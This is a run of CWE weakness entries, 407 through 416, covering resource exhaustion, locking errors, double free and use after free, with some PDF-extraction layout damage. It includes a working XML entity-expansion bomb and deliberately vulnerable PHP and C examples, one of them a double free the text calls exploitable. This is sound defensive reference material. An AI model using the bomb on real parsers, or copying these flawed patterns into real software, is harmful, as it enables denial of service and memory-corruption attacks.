An application must, at all times, keep track of network resources and meter their usage appropriately.
**CWE-407: Algorithmic Complexity**

**Weakness ID: 407 (Weakness Base)**

**Description**

**Summary**
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Availability**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

**DoS: resource consumption (other)**
The typical consequence is CPU consumption, but memory consumption and consumption of other resources can also occur.

**Likelihood of Exploit**
Low to Medium

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1501</td>
<td>CPU and memory consumption using many wildcards.</td>
</tr>
<tr>
<td>CVE-2002-1203</td>
<td>Product performs unnecessary processing before dropping an invalid packet.</td>
</tr>
<tr>
<td>CVE-2003-0244</td>
<td>CPU consumption via inputs that cause many hash table collisions.</td>
</tr>
<tr>
<td>CVE-2003-0384</td>
<td>CPU consumption via inputs that cause many hash table collisions.</td>
</tr>
<tr>
<td>CVE-2004-2527</td>
<td>Product allows attackers to cause multiple copies of a program to be loaded more quickly than the program can detect that other copies are running, then exit. This type of error should probably have its own category, where teardown takes more time than initialization.</td>
</tr>
<tr>
<td>CVE-2005-1792</td>
<td>Memory leak by performing actions faster than the software can clear them.</td>
</tr>
<tr>
<td>CVE-2005-2506</td>
<td>OS allows attackers to cause a denial of service (CPU consumption) via crafted Gregorian dates.</td>
</tr>
<tr>
<td>CVE-2006-3379</td>
<td>Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity.</td>
</tr>
</tbody>
</table>
CWE-408: Incorrect Behavior Order: Early Amplification

**Weakness ID:** 408 (Weakness Base)  
**Status:** Draft

**Description**

**Summary**

The software allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

- All

**Common Consequences**

- Availability
- DoS: amplification
- DoS: crash / exit / restart
- DoS: resource consumption (CPU)
- DoS: resource consumption (memory)

System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.

**Demonstrative Examples**

This data prints the contents of a specified file requested by a user.

**PHP Example:**

```php
function printFile($username,$filename){
    //read file into string
    $file = file_get_contents($filename);
    if ($file & isOwnerOf($username,$filename)){
        echo $file;
        return true;
    } else{
        echo 'You are not authorized to view this file';
    }
}
```

References

return false;
}

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-2458</td>
<td>Tool creates directories before authenticating user.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>405</td>
<td>Asymmetric Resource Consumption (Amplification)</td>
<td>704</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>696</td>
<td>Incorrect Behavior Order</td>
<td>1080</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>840</td>
<td>Business Logic Errors</td>
<td>1287</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>1387</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>1323</td>
</tr>
</tbody>
</table>

**Relationship Notes**

Overlaps authentication errors.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Early Amplification</td>
</tr>
</tbody>
</table>

---

## CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)

**Weakness ID:** 409 *(Weakness Base)*  
**Status:** Incomplete

**Description**

**Summary**

The software does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

**Extended Description**

An example of data amplification is a "decompression bomb," a small ZIP file that can produce a large amount of data when it is decompressed.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Availability**

**DoS:** amplification  
**DoS:** crash / exit / restart  
**DoS:** resource consumption (CPU)  
**DoS:** resource consumption (memory)

System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.

**Demonstrative Examples**

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is $2^0$. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or $2^1$. Ultimately,
we reach entity THIRTYTWO, which will expand to $2^{32}$ characters in length, or 4 GB, probably consuming far more data than expected.

**XML Example:**

```xml
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [ 
<!ENTITY ZERO "A"> 
<!ENTITY ONE "&ZERO;&ZERO;"> 
<!ENTITY TWO "&ONE;&ONE;"> 
... 
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;"> 
]> 
<data>&THIRTYTWO;</data>
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-1564</td>
<td>Parsing library allows XML bomb</td>
</tr>
<tr>
<td>CVE-2009-1955</td>
<td>XML bomb in web server module</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>405</td>
<td>Asymmetric Resource Consumption (Amplification)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>845</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>776</td>
<td>Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>884</td>
<td>CWE Cross-section</td>
<td></td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Data Amplification</td>
<td></td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>IDS04-J</td>
<td>Limit the size of files passed to ZipInputStream</td>
</tr>
</tbody>
</table>

---

**CWE-410: Insufficient Resource Pool**

**Weakness ID:** 410 *(Weakness Base)*  
**Status:** Incomplete

**Description**

**Summary**

The software's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.

**Extended Description**

Frequently the consequence is a "flood" of connection or sessions.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**
Availability
Integrity
Other
DoS: crash / exit / restart
Other

Floods often cause a crash or other problem besides denial of the resource itself; these are likely examples of "other" vulnerabilities, not an insufficient resource pool.

Demonstrative Examples

In the following snippet from a Tomcat configuration file, a JDBC connection pool is defined with a maximum of 5 simultaneous connections (with a 60 second timeout). In this case, it may be trivial for an attacker to instigate a denial of service (DoS) by using up all of the available connections in the pool.

XML Example:

```
<Resource name="jdbc/exampledb"
 auth="Container"
 type="javax.sql.DataSource"
 removeAbandoned="true"
 removeAbandonedTimeout="30"
 maxActive="5"
 maxIdle="5"
 maxWait="60000"
 username="testuser"
 password="testpass"
 driverClassName="com.mysql.jdbc.Driver"
 url="jdbc:mysql://localhost/exampledb"/>
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1363</td>
<td>Large number of locks on file exhausts the pool and causes crash.</td>
</tr>
<tr>
<td>CVE-2001-1340</td>
<td>Product supports only one connection and does not disconnect a user who does not provide credentials.</td>
</tr>
<tr>
<td>CVE-2002-0406</td>
<td>Large number of connections without providing credentials allows connection exhaustion.</td>
</tr>
</tbody>
</table>

Potential Mitigations

**Architecture and Design**

Do not perform resource-intensive transactions for unauthenticated users and/or invalid requests.

**Architecture and Design**

Consider implementing a velocity check mechanism which would detect abusive behavior.

**Operation**

Consider load balancing as an option to handle heavy loads.

**Implementation**

Make sure that resource handles are properly closed when no longer needed.

**Architecture and Design**

Identify the system's resource intensive operations and consider protecting them from abuse (e.g. malicious automated script which runs the resources out).

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>399</td>
<td>Resource Management Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>730</td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>855</td>
<td>CERT Java Secure Coding Section 10 - Thread Pools (TPS)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>E</td>
<td>412</td>
<td>Unrestricted Externally Accessible Lock</td>
<td>1000</td>
</tr>
</tbody>
</table>

Functional Areas
CWE Version 2.11
CWE-411: Resource Locking Problems

- Non-specific

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Insufficient Resource Pool</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A9</td>
<td>CWE More Specific</td>
<td>Denial of Service</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>TPS00-J</td>
<td></td>
<td>Use thread pools to enable graceful degradation of service during traffic bursts</td>
</tr>
</tbody>
</table>

References


CWE-411: Resource Locking Problems

Category ID: 411 (Category) Status: Draft

Description

Summary

Weaknesses in this category are related to improper handling of locks that are used to control access to resources.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>399</td>
<td>Resource Management Errors</td>
<td>688</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>412</td>
<td>Unrestricted Externally Accessible Lock</td>
<td>712</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>413</td>
<td>Improper Resource Locking</td>
<td>714</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>414</td>
<td>Missing Lock Check</td>
<td>717</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Resource Locking problems</td>
</tr>
</tbody>
</table>

CWE-412: Unrestricted Externally Accessible Lock

Weakness ID: 412 (Weakness Base) Status: Incomplete

Description

Summary

The software properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.

Extended Description

This prevents the software from acting on associated resources or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Availability

DoS: resource consumption (other)

When an attacker can control a lock, the program may wait indefinitely until the attacker releases the lock, causing a denial of service to other users of the program. This is especially problematic if there is a blocking operation on the lock.

Detection Methods
White Box
Automated code analysis techniques might not be able to reliably detect this weakness, since the application's behavior and general security model dictate which resource locks are critical. Interpretation of the weakness might require knowledge of the environment, e.g. if the existence of a file is used as a lock, but the file is created in a world-writable directory.

Demonstrative Examples
This code tries to obtain a lock for a file, then writes to it.

**PHP Example:**

```php
function writeToLog($message){
    $logfile = fopen("logFile.log", "a");
    // attempt to get log file lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock log file
        flock($logfile, LOCK_UN);
    } else {
        print "Could not obtain lock on logFile.log, message not recorded\n";
    }
}
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an `flock()` on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on `flock()`.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0338</td>
<td>Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.</td>
</tr>
<tr>
<td>CVE-2000-1198</td>
<td>Chain: Lock files with predictable names. Resultant from randomness.</td>
</tr>
<tr>
<td>CVE-2001-0682</td>
<td>Program can not execute when attacker obtains a mutex.</td>
</tr>
<tr>
<td>CVE-2002-0051</td>
<td>Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.</td>
</tr>
<tr>
<td>CVE-2002-1869</td>
<td>Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.</td>
</tr>
<tr>
<td>CVE-2002-1914</td>
<td>Program can not execute when attacker obtains a lock on a critical output file.</td>
</tr>
<tr>
<td>CVE-2002-1915</td>
<td>Program can not execute when attacker obtains a lock on a critical output file.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

- **Implementation**: Use any access control that is offered by the functionality that is offering the lock.

**Architecture and Design**

- **Implementation**: Use unpredictable names or identifiers for the locks. This might not always be possible or feasible.

**Architecture and Design**

- Consider modifying your code to use non-blocking synchronization methods.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>700</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>B</td>
<td>410</td>
<td>Insufficient Resource Pool</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>411</td>
<td>Resource Locking Problems</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>712</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>667</td>
<td>Improper Locking</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1034</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-413: Improper Resource Locking

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>730</td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>853</td>
<td>CERT Java Secure Coding Section 08 - Locking (LCK)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>989</td>
<td>SFP Secondary Cluster: Unrestricted Lock</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630</td>
</tr>
</tbody>
</table>

Relationship Notes
This overlaps Insufficient Resource Pool when the "pool" is of size 1. It can also be resultant from race conditions, although the timing window could be quite large in some cases.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Unrestricted Critical Resource Lock</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Deadlock</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A9</td>
<td>CWE More Specific</td>
<td>Denial of Service</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>LCK00-J</td>
<td></td>
<td>Use private final lock objects to synchronize classes that may interact with untrusted code</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>LCK07-J</td>
<td></td>
<td>Avoid deadlock by requesting and releasing locks in the same order</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP22</td>
<td></td>
<td>Unrestricted lock</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>25</td>
<td>Forced Deadlock</td>
<td></td>
</tr>
</tbody>
</table>

White Box Definitions
A weakness where:
1. either an end statement performs a blocking operation on an externally accessible lock or
2. a code path has
   2.1. the start statement that performs a non-blocking operation on an externally accessible lock and
   2.2. the end statement that is a condition which checks that the lock operation failed and that
      either
      2.2.1. leads to the start statement or
      2.2.2. leads to abnormal termination.

CWE-413: Improper Resource Locking

<table>
<thead>
<tr>
<th>Weakness ID: 413 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary
The software does not lock or does not correctly lock a resource when the software must have exclusive access to the resource.

Extended Description
When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the software. This might violate the software’s assumption that the resource will not change, potentially leading to unexpected behaviors.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
Integrity
Availability
Modify application data
DoS: instability
DoS: crash / exit / restart

Demonstrative Examples

Example 1:
The following function attempts to acquire a lock in order to perform operations on a shared resource.

**C Example:**

```c
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

**C Example:**

```c
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Example 2:
This Java example shows a simple BankAccount class with deposit and withdraw methods.

**Java Example:**

```java
class BankAccount {
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {
        double newBalance = accountBalance + depositAmount;
        accountBalance = newBalance;
    }
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        double newBalance = accountBalance - withdrawAmount;
        accountBalance = newBalance;
    }
    // other methods for accessing the BankAccount object
    ...
}
```

However, the deposit and withdraw methods have shared access to the account balance private class variable. This can result in a race condition if multiple threads attempt to call the deposit and withdraw methods simultaneously where the account balance is modified by one thread before another thread has completed modifying the account balance. For example, if a thread attempts to withdraw funds using the withdraw method before another thread that is depositing funds using...
the deposit method completes the deposit then there may not be sufficient funds for the withdraw
transaction.
To prevent multiple threads from having simultaneous access to the account balance variable the
deposit and withdraw methods should be synchronized using the synchronized modifier.

**Java Example:**

```
public class BankAccount {
    // synchronized method to deposit amount into BankAccount
    public synchronized void deposit(double depositAmount) {
        ...
    }
    // synchronized method to withdraw amount from BankAccount
    public synchronized void withdraw(double withdrawAmount) {
        ...
    }
    ...
}
```

An alternative solution is to use a lock object to ensure exclusive access to the bank account
balance variable. As shown below, the deposit and withdraw methods use the lock object to set a
lock to block access to the BankAccount object from other threads until the method has completed
updating the bank account balance variable.

**Java Example:**

```
public class BankAccount {
    // lock object for thread access to methods
    private ReentrantLock balanceChangeLock;
    // condition object to temporarily release lock to other threads
    private Condition sufficientFundsCondition;
    // method to deposit amount into BankAccount
    public void deposit(double amount) {
        // set lock to block access to BankAccount from other threads
        balanceChangeLock.lock();
        try {
            double newBalance = balance + amount;
            balance = newBalance;
            // inform other threads that funds are available
            sufficientFundsCondition.signalAll();
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    // method to withdraw amount from bank account
    public void withdraw(double amount) {
        // set lock to block access to BankAccount from other threads
        balanceChangeLock.lock();
        try {
            while (balance < amount) {
                // temporarily unblock access
                // until sufficient funds are available
                sufficientFundsCondition.await();
            }
            double newBalance = balance - amount;
            balance = newBalance;
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    ...
}
```
CWE-414: Missing Lock Check

**Description**

**Summary**
A product does not check to see if a lock is present before performing sensitive operations on a resource.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

**Integrity**
- Modify application data

**Availability**
- DoS: instability
- DoS: crash / exit / restart

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-1056</td>
<td>Product does not properly check if a lock is present, allowing other attackers to access functionality.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**
- Use a non-conflicting privilege scheme.

**Implementation**
- Use synchronization when locking a resource.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>411</td>
<td>Resource Locking Problems</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>667</td>
<td>Improper Locking</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>852</td>
<td>CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>853</td>
<td>CERT Java Secure Coding Section 08 - Locking (LCK)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>986</td>
<td>SFP Secondary Cluster: Missing Lock</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>591</td>
<td>Sensitive Data Storage in Improperly Locked Memory</td>
<td>699</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Insufficient Resource Locking</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>VNA00-J</td>
<td>Ensure visibility when accessing shared primitive variables</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>VNA02-J</td>
<td>Ensure that compound operations on shared variables are atomic</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>LCK00-J</td>
<td>Use private final lock objects to synchronize classes that may interact with untrusted code</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP19</td>
<td>Missing Lock</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**
- Use a non-conflicting privilege scheme.

**Implementation**
- Use synchronization when locking a resource.
CWE-415: Double Free

Summary
The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.

Extended Description
When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.

Alternate Terms
Double-free

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• C
• C++

Common Consequences
Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.

Likelihood of Exploit
Low to Medium

Demonstrative Examples
Example 1:
The following code shows a simple example of a double free vulnerability.

C Example:

```c
char* ptr = (char*)malloc (SIZE);
... if (abrt) {
    free(ptr);
} ...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:
• Error conditions and other exceptional circumstances
• Confusion over which part of the program is responsible for freeing the memory
Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

**Example 2:**

While contrived, this code should be exploitable on Linux distributions which do not ship with heap-chunk check summing turned on.

**C Example:**

```c
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)
int main(int argc, char **argv) {
    char *buf1R1;
    char *buf2R1;
    char *buf1R2;
    buf1R1 = (char *) malloc(BUFSIZE2);
    buf2R1 = (char *) malloc(BUFSIZE2);
    free(buf1R1);
    free(buf2R1);
    buf1R2 = (char *) malloc(BUFSIZE1);
    strncpy(buf1R2, argv[1], BUFSIZE1-1);
    free(buf2R1);
    free(buf1R2);
}
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0059</td>
<td>Double free from malformed compressed data.</td>
</tr>
<tr>
<td>CVE-2003-0545</td>
<td>Double free from invalid ASN.1 encoding.</td>
</tr>
<tr>
<td>CVE-2003-1048</td>
<td>Double free from malformed GIF.</td>
</tr>
<tr>
<td>CVE-2004-0642</td>
<td>Double free resultant from certain error conditions.</td>
</tr>
<tr>
<td>CVE-2004-0772</td>
<td>Double free resultant from certain error conditions.</td>
</tr>
<tr>
<td>CVE-2005-0891</td>
<td>Double free from malformed GIF.</td>
</tr>
<tr>
<td>CVE-2005-1689</td>
<td>Double free resultant from certain error conditions.</td>
</tr>
<tr>
<td>CVE-2006-5051</td>
<td>Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415).</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

Choose a language that provides automatic memory management.

**Implementation**

Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

**Implementation**

Use a static analysis tool to find double free instances.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>123</td>
<td>Write-what-where Condition</td>
<td>1000</td>
<td>248</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>700</td>
<td>685</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>399</td>
<td>Resource Management Errors</td>
<td>699</td>
<td>688</td>
</tr>
<tr>
<td></td>
<td></td>
<td>416</td>
<td>Use After Free</td>
<td>699</td>
<td>720</td>
</tr>
<tr>
<td></td>
<td></td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>1000</td>
<td>983</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>666</td>
<td>Operation on Resource in Wrong Phase of Lifetime</td>
<td>1000</td>
<td>1033</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
<td>1000</td>
<td>1045</td>
</tr>
</tbody>
</table>
CWE-416: Use After Free

**Weakness ID:** 416 *(Weakness Base)*

**Status:** Draft

### Description

**Summary**

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

**Extended Description**

The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation...
and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:

- Error conditions and other exceptional circumstances.
- Confusion over which part of the program is responsible for freeing the memory.

In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.

If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.

### Alternate Terms
- Dangling pointer
- Use-After-Free

### Time of Introduction
- Architecture and Design
- Implementation

### Applicable Platforms

<table>
<thead>
<tr>
<th>Languages</th>
<th>C</th>
<th>C++</th>
</tr>
</thead>
</table>

### Common Consequences

<table>
<thead>
<tr>
<th>Integrity</th>
<th>Modify memory</th>
</tr>
</thead>
<tbody>
<tr>
